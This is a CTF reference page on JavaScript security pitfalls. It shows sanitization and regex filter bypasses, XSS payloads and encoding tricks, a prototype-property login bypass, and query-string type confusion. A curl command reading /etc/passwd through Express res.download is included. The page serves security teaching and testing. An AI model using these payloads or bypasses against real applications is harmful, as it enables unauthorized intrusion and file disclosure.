🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • CRLF / Header Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • # Related Pages
  • Common Pitfalls
  • String Replacement
  • Global Regexes
  • Prototype Properties
  • Type Confusion
  • Filter Bypass
  • Inside a String
  • No alphanumeric characters
  • Without " quotes
  • Strings from other sources
  • Comments
  • Fix broken code with Hoisting
  • Reverse Engineering
  • Source maps
  • Local Overrides
  • Frames
  • Snippets
  1. Languages

JavaScript

A very popular language used to create interactivity on the web, and on the backend using NodeJS

PreviousPythonNextPrototype Pollution

Last updated 8 days ago

# Related Pages

Common Pitfalls

String Replacement

replace vs replaceAll

You might be surprised to see that replace() doesn't actually replace all the characters it finds, only the first match. Instead, replaceAll() should be used if you want to replace every occurrence. This can be useful if a developer thinks they sanitized user input with this function, and tested it with only one character, while an attacker can just input one dummy character at the start that will be replaced and afterward continue with the payload unsanitized:

> 'AAAA'.replace('A', 'B')
'BAAA'
> 'AAAA'.replaceAll('A', 'B')
'BBBB'
// Seems "safe"
> '<svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;svg onload=alert()&gt;'
// Expoitable with multiple characters
> '<><svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;&gt;<svg onload=alert()>'

Replacement String Templates

Pattern
Inserts

$$

Inserts a "$" (escape sequence)

$&

Inserts the matched substring

$`

Inserts the portion of the string that precedes the matched substring

$'

Inserts the portion of the string that follows the matched substring

$n (RegExp only)

Inserts the nth (1-indexed) capturing group where n is a positive integer less than 100

$<name> (RegExp only)

Inserts the named capturing group where name is the group name

Intended functionality
payload = "alert()//"  // Naive attempt, will be quoted
payload = "</script><script>alert()//"  // Try to escape tag, will be encoded

encoded = JSON.stringify(payload.replaceAll('<', '&lt;').replaceAll('>', '&gt;'))
'<script>let a = REPLACE_ME</script>'.replace("REPLACE_ME", encoded)
<script>let a = "alert()//"</script>
<script>let a = "&lt;/script&gt;&lt;script&gt;alert()//"</script>
Exploit
payload = "$'$`alert()//"  // Insert '</script>' following, and '<script>' preceding
<script>let a = "</script><script>let a = alert()//"</script>

Global Regexes

One common mistake is the lack of the global flag in a RegEx that is supposed to replace all characters. When using no regex, only the first match is replaced, the same goes for a non-global regex. Only using a global regex or the replaceAll function, all matches will be replaced:

"aa".replace("a", "b")    // 'ba'
"aa".replace(/a/, "b")    // 'ba'
"aa".replace(/a/g, "b")   // 'bb'
"aa".replaceAll("a", "b") // 'bb'

When a global regex is re-used, another unexpected behavior can happen. The instance's .test() and .exec() methods will keep save .lastIndex value that stores the last matched index. On the next call, the search is only continued from this last index, not from the start. Only if a match fails will it be reset to the start.

While primarily useful for matching against the same string, this can cause unexpected behavior when multiple different strings are matched against the same global RegEx:

// String with 2 matches will only match twice, then resets
const re = /A/g;
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)
re.test("1st A 2nd A") // true  (starting at 5,  lastIndex=11)
re.test("1st A 2nd A") // false (starting at 11, lastIndex=0)
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)

// lastIndex can be offset by one string, causing another to fail matching
const re = /A/g;
re.test("....A") // true  (starting at 0, lastIndex=5)
re.test("AAAA")  // false (starting at 5, lastIndex=0)

// Increasing match position works until it is before lastIndex
const re = /A/g;
re.test("A")    // true  (starting at 0, lastIndex=1)
re.test(".A")   // true  (starting at 1, lastIndex=2)
re.test("..A")  // true  (starting at 2, lastIndex=3)
re.test("...A") // true  (starting at 3, lastIndex=4)
re.test("..A")  // false (starting at 4, lastIndex=0)

One example implementation of a check that can be bypassed with this behavior is the following:

Vulnerable Example
const re = /[<>"']/g;

function check(arr) {
    return arr.filter((item) => !re.test(item));
}

const msg = [
    "hello",
    "<script>alert()</script>",
    'x" onerror="alert()',
    "bye",
];
console.log(check(msg));  // ['hello', 'bye']

The above check tries to filter out strings matching characters common in XSS payloads, <>"'. It does so with the /g global flag and uses .test() to check for matches. As we now know, this will remember the .lastIndex on any match so that the next check is offset. We can exploit this by intentionally prepending a large string that matches right at the end, putting .lastIndex=29. The next match for the script tag or attribute injection will be before the 29th index, and thus not be matched. That allows the following payload to bypass it fully:

Exploit
const msg2 = [
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    "<script>alert()</script>",
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    'x" onerror="alert()',
];
console.log(check(msg2));  // ['<script>alert()</script>', 'x" onerror="alert()']

Prototype Properties

In JavaScript, all Objects have a prototype that they inherit methods or properties from. See Prototype Pollution for a technique that abuses writable prototypes. Here, we will look at abusing the existing prototypes to bypass certain checks when objects are accessed with dynamic keys.

Take the following code example:

Vulnerable Example
const users = {
  'admin': {
    password: crypto.randomBytes(16).toString('hex'),
  }
};

app.get('/login', (req, res) => {
  const { username, password } = req.query;

  if (users[username] && users[username].password === password) {
    res.json(true);
  } else {
    res.json(false);
  }
});

In this example, the username and password come from the query string. A check is performed that the username is inside the users dictionary and that its password property matches the given password. Only then will it return true.

It is vulnerable because not just 'admin' is a valid key in the users object. Its inherited prototype properties like .constructor or .toString are still valid properties, but are functions instead of a password entry to match against. The users[username] will pass, but then its .password property will become undefined. Luckily, we can match this with our given password by removing the password query parameter, making it undefined as well.

Payload URL
/login?username=toString
username = "toString"
password = undefined
users[username] -> [Function: toString]             // true
users[username].password -> undefined === password  // true

This was a solution to a simple JavaScript CTF challenge with a detailed writeup below:

Type Confusion

JSON can obviously have different types by writing ["first","second"] or {"key":"value"} syntax, but query parameters are more complicated. It depends on the parser, but some common ways to create Arrays include:

  • array=first&array=second

  • array[]=first&array[]=second

  • array[0]=first&array[1]=second

These may all be parsed as ["first","second"]. It is sometimes also possible to create Objects by giving keys inside the brackets ([]), and combined with arrays:

  • object[key]=value&object[array][]=first

This syntax could create {"key":"value","array":["first"]}. When you know what is possible, you can think of how the code will handle such unexpected types.

Vulnerable Example
app.get('/', (req, res) => {
    const name = req.query.name
    if (name.includes("<") || name.includes(">")) {
        res.send('Invalid name');
    }
    res.send(`<h1>Hello, ${name}!</h1>`);
});

By turning our input into an array by providing a second name= parameter, the check will only verify if any of the parameters are exactly equal to < or >.

Another thing that strings and arrays have in common is their .toString() method, which you can see in full effect above. While most objects just turn into [object Object] by default, arrays will turn into their items stringified and joined by commas (,). This is useful for injections as they often still allow arbitrary input in their items to reflect when written somewhere.

Vulnerable Example
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "file.bin");
});

The file path parameter may only be relative due to path.basename(), but using the query parameter filename which is normally a string, we can use brackets ([]) to turn it into an object. Then, we will provide the documented root: option to make it read from an arbitrary directory:

$ curl -g 'http://localhost:3000/download/passwd?filename[root]=/etc'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Filter Bypass

Often alphanumeric characters are allowed in a filter, so being able to decode Base64 and evaluate the result should be enough to do anything while bypassing a filter. Acquiring the primitives to do this decoding and evaluating however can be the difficult part as certain ways of calling the functions are blocked. The simplest idea is using atob to decode Base64, and then eval to evaluate the string:

> btoa("alert()")  // Encoding
'YWxlcnQoKQ=='
> atob("YWxlcnQoKQ")  // Decoding
'alert()'

eval(atob("YWxlcnQoKQ"))  // Obfuscated payload

Inside a String

When injecting inside of a JavaScript string (using " or ' quotes), you may be able to escape certain blocked characters using the following escape sequences with different properties:

Other than these generic escapes, there are a few special characters that get their own escapes:

Syntax
Meaning

\\

Backslash

\'

Single quote

\"

Double quote

\`

Backtick

(0x0a) \n

New Line

(0x0d) \r

Carriage Return

(0x09) \t

Horizontal Tab

(0x0b) \v

Vertical Tab

(0x08) \b

Backspace

(0x0c) \f

Form Feed

`${alert()}`
`${String.fromCharCode(97,110,121,116,104,105,110,103)}` -> 'anything'
alert``

No alphanumeric characters

Without " quotes

RegExp objects can be defined by surrounding text with / slashes, and are automatically coerced into a string surrounded by slashes again. This can become valid executable JavaScript code in a few different ways:

eval(1+/1,alert(),1/+1)  // Use numbers to turn '/' into a divide
1/1,alert(),1/1

eval(unescape(/%2f%0aalert()%2f/))  // Use unescape() with URL encoding and newlines
//
alert()//

eval(/alert()/.source)  // Use .source to extract the inner text of RegExp
alert()

Another common method is using String.fromCharCode() chains to build out string character-by-character:

Python
>>> f"String.fromCharCode({','.join(str(ord(c)) for c in 'alert()')})"
'String.fromCharCode(97,108,101,114,116,40,41)'
eval(String.fromCharCode(97,108,101,114,116,40,41))
alert()

Strings from other sources

In a web environment, cross-origin JavaScript can still access a few properties under your control that may be useful for smuggling strings with the injection is limited. The best example is the shortest possible XSS payload in Chrome: eval(name).

The logic below sets the current window's name to the XSS payload, and then uses window.open() to overwrite itself with the same name. This puts the name variable on the target site so it can eval() the value successfully:

<script>
  name = "alert(origin)"
  window.open("https://example.com?xss=eval(name)", "alert(origin)")
</script>

To get different names instead of just one, you can refer to opener.name if the opener is same-origin with the target. This can be repeated like opener.opener.name to get an arbitrary number of strings you set, but every additional opener requires a window.open() call which is a user interaction on your site.

Using iframes, you can get the same effect but only using a single opener. We will access them via their name= attribute on the window reference, so this cannot contain an arbitrary string anymore. However, the location.hash may also work, it just needs a .slice(1) to get rid of the first #.

This combines into a way to get arbitrary strings with only the charset [a-z().]. You just need to be able to iframe any page same-origin with the target, such as an error page with /%00 or a too-long URI. Below is a proof of concept using this idea:

<iframe src="https://example.com/%00#anything" name="a"></iframe>
<iframe src="https://example.com/%00#more text<>!..." name="b"></iframe>
<script>
  onclick = () => {
    window.open("https://example.com")
  }
</script>

The https://example.com popup can now access the prepared strings like this:

unescape(opener.a.location.hash.slice(unescape.length))  // 'anything'
unescape(opener.b.location.hash.slice(unescape.length))  // 'more text<>!...'

Comments

A few different and uncommon ways of creating comments in JavaScript:

alert()//Regular comment

alert()/*multiline
comment*/alert()

alert()<!--HTML comment

#!shebang comment (start of file and remote source only)

-->HTML comment (start of line only)

Fix broken code with Hoisting

While not necessarily being a "Filter Bypass", this quirk is useful for Cross-Site Scripting (XSS) injections where some variables/functions are not defined before your payload, causing the script to fail before it reaches your malicious code. Take the following example:

Vulnerable Code
func('test', 'INJECTION');

It looks like simply closing the ' at the injection point will do, to create a payload like this:

Naive exploit
func('test', ''-alert(origin)-''); 

But what if func isn't defined for some reason? You'll receive the following runtime error before the alert pops:

Uncaught ReferenceError: func is not defined

The solution is to abuse "hoisting", a process in JavaScript where during parsing, any function declarations will be moved to the top. This allows a function to be used before it is defined from top to bottom in a file. It is best shown with an example:

func('test', 'test'); 

function func(a, b) {
    return 1
};

alert(origin);//');

If func was func.someMethod, this would still fail because undefined is not callable and our alert payload later in the code won't get executed. However, before the property read on func, the arguments to the function are evaluated including our injection point. We just need to put the alert inline here:

func.someMethod('test', ''-alert(origin)-''); 

function func(a, b) {
    return 1
};//')

Similarly, undefined variables can be declared anywhere in the code with var:

func(a, 'test'); 

var a = 1;

alert(origin);//');

Reverse Engineering

curl https://example.com/script.js | webcrack -o example

Source maps

Bundled/minified code is often hard to read, even with the abovementioned tools. If you're lucky, a website might have published .map source map files together with the minified code. These are normally used by the DevTools to recreate source code in the event of an exception while debugging. But we can use these files ourselves to recreate the exact source code to the level of comments and whitespace!

Viewing these in the DevTools is easy, just check the Sources -> Page -> Authored directory to view the source code if it exists:

index.7808df6e.js
document.querySelector("button")?.addEventListener("click",(()=>{const e=Math.floor(101*Math.random());document.querySelector("p").innerText=`Hello, you are no. ${e}!`,console.log(e)}));
//# sourceMappingURL=index.7808df6e.js.map
index.7808df6e.js.map
{"mappings":"AAAAA,SAASC,cAAc,WAAWC,iBAAiB,SAAS,KAC1D,MAAMC,EAAcC,KAAKC,MAAsB,IAAhBD,KAAKE,UAEnCN,SAASC,cAAc,KAA8BM,UAAY,sBAAyBJ,KAC3FK,QAAQC,IAAIN,EAAA","sources":["src/script.ts"],"sourcesContent":["document.querySelector('button')?.addEventListener('click', () => {\n  const num: number = Math.floor(Math.random() * 101);\n  const greet: string = 'Hello';\n  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;\n  console.log(num);\n});"],"names":["document","querySelector","addEventListener","num","Math","floor","random","innerText","console","log"],"version":3,"file":"index.7808df6e.js.map"}

There exists a tool sourcemapper that can take a URL and extract all the source code files:

$ sourcemapper -url https://parcel-greet.netlify.app/index.7808df6e.js.map -output example
[+] Retrieving Sourcemap from https://parcel-greet.netlify.app/index.7808df6e.js.map.
[+] Read 646 bytes, parsing JSON.
[+] Retrieved Sourcemap with version 3, containing 1 entries.
[+] Writing 280 bytes to example/src/script.ts.
[+] Done
$ cat example/src/script.ts
document.querySelector('button')?.addEventListener('click', () => {
  const num: number = Math.floor(Math.random() * 101);
  const greet: string = 'Hello';
  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;
  console.log(num);
});

Add source map from file

Right-click anywhere inside the minified source code, then press Add source map... and enter the absolute URL where the .map file can be found.

Note: After reloading, the source map will be lost. You will need to re-add the source map like explained above to see the sources.

Local Overrides

One very useful feature of Chrome's DevTools is its Local Overrides system. You can override the content of any URL by editing a file locally, while you have the DevTools open.

Start by setting up local overrides as explained in the link above. Once configured and enabled (under Sources -> Overrides -> Enable Local Overrides), you can edit any file in the Sources tab and press Ctrl+S to save it. Edits in CSS properties will also be saved. From the Network tab, you can even override response headers in a special .headers file.

Note: This feature only works when DevTools are open. If you reload the page while they are closed, the overrides will not be used.

Frames

Snippets

Log all non-default global (window) variables

const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const defaultProps = new Set(Object.getOwnPropertyNames(iframe.contentWindow));
iframe.remove();

for (const prop in window) {
    if (window.hasOwnProperty(prop) && !defaultProps.has(prop)) {
        console.log(prop, window[prop]);
    }
}

The second argument to replace() functions determine what should be put in place of the matched part. It might come as a surprise that when this section is user-controlled input, there are some special character sequences that are not taken literally. The following sequences insert a special piece of text instead ():

The $` and $' are especially interesting, as they repeat a preceding or following piece of text, which may contain otherwise blocked characters. A neat trick using mentioned abuses this to repeat a </script> string that would normally be HTML encoded in the payload:

Regular Expressions (RegEx) in JavaScript can be written in between / slash characters. After the last slash, flags can be given such as i for case insensitivity and g for . This global feature is interesting because it can cause some unintuitive behavior if you don't fully understand its purpose.

Learn more common RegEx problems in .

Most often, user input is a . However, some functions for getting query parameters or JSON are able to return more types like s or s. An application may not expect this and handle it improperly. With the flexibility of JavaScript this is especially often the case.

One common trick is to confuse Strings and Arrays, because a lot of their methods/attributes correspond. Imagine a developer wants to validate their input and check if a any dangerous characters. Any regular string will be caught here, but if we make our input an array, the .includes() method suddenly refers to . This method only checks if any of its items are fully equal, not if the character exists in the string. Code like the following could be bypassed:

Objects are also interesting because some library methods will accept them as options. These may include special settings that you can now change, that would normally default if you input a string. One example is from Express (). As the 2nd argument, it accepts either a String as the returned filename, or an Object with options. With the root: option it is possible to change the relative parent of the 1st argument, and potentially read arbitrary files:

\x41 = 'A': Hex escape, shortest! ()

\u0041 = 'A': Unicode escape, non-ASCII characters too! ()

\101 = 'A': Octal escapes, numeric-only payload! ()

When inside (using ` backticks), you can use ${} expressions to evaluate inline JavaScript code which may contain any code you want to run, or evaluate to any string you need.

Unrelated to strings, you can also use these templates as "" to call functions without parentheses:

The name variable refers to and can be set by the site that opens it using the target parameter. It is also kept across redirects, making it potentially useful for exfiltrating as well.

Client-side javascript is often minified or obfuscated to make it more compact or harder to understand. Luckily there are many tools out there to help with this process of reverse engineering, like the manual . While manually trying to deobfuscate the code, dynamic analysis can be very helpful. If you find that a function decrypts some string to be evaluated for example, try throwing more strings into that function at runtime with breakpoints.

While doing it manually will get you further, sometimes it's quicker to use automated tools made for a specific obfuscator. The common for example can be perfectly deobfuscated using webcrack, as well as minified/bundled code:

It gets these from the special //# sourceMappingURL= comment at the end of minified JavaScript files, which are often the original URL appended with .map. Here is an :

Sometimes, the source map is not given to you by the application you are testing, but you can find it online from sources such as GitHub or a CDN. , Chrome allows you to manually add a source map to a JavaScript file from another URL.

You can notice any overridden files by the icon that appears, and disable it completely by unchecking Enable Local Overrides.

Note: This feature does not work in the Burp Suite Browser, because some default arguments prevent access to the filesystem. and you should use your local Chrome installation instead.

When looking at complex or edge cases, it can be useful to know how the browser understands the current context. The Application -> Frames panel in Chrome is useful for this as it shows a variety of properties of all frames in the current tab, like how the Content-Security-Policy is parsed, the Origin, the Owner Element, and much more ().

Useful bits of JavaScript that can quickly give information about an application, or help in an exploit. Run these in the DevTools Console or at will using a .

🌎
Cross-Site Scripting (XSS)
NodeJS
Prototype Pollution
postMessage Exploitation
source
here
global search
String
Array
Object
String.includes()
Array.includes()
res.download()
writeup
CyberChef
CyberChef
CyberChef
template literals
tagged templates
window.name
JavaScript Deobfuscator
obfuscator.io
example
As explained here
This is a known issue
source
Bookmarklet
Common Bypasses
Post: #4 Sensitive Flags | Jorian Woltjerjorianwoltjer.com
Writeup of a challenge that uses users[username] and could be bypassed
JSFuck - Write any JavaScript with 6 Characters: []()!+
An encoder that can create self-executing JavaScript code with only 6 special characters
Jorge Lajara WebsiteJorge Lajara Website
Good explanation of hoisting and exploitable scenarios
GitHub - j4k0xb/webcrack: Deobfuscate obfuscator.io, unminify and unpack bundled javascriptGitHub
Deobfuscate specific obfuscators, and unminify/unbundle a single file
GitHub - denandz/sourcemapper: Extract JavaScript source trees from Sourcemap filesGitHub
Extract source files from .map URLs into an output directory
Developer Resources: View and manually load source maps  |  Chrome DevTools  |  Chrome for DevelopersChrome for Developers
DevTools documentation explaining manually loading source maps
Override web content and HTTP response headers locally  |  Chrome DevTools  |  Chrome for DevelopersChrome for Developers
DevTools documentation explaining content overrides
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Exploit using multiple name= parameters to turn it into an array, resulting in XSS
2 source code files with .ts TypeScript and .scss CSS using source maps
Adding axios source map from CDN
Example of editing some files in Sources
Example of Twitter's top frame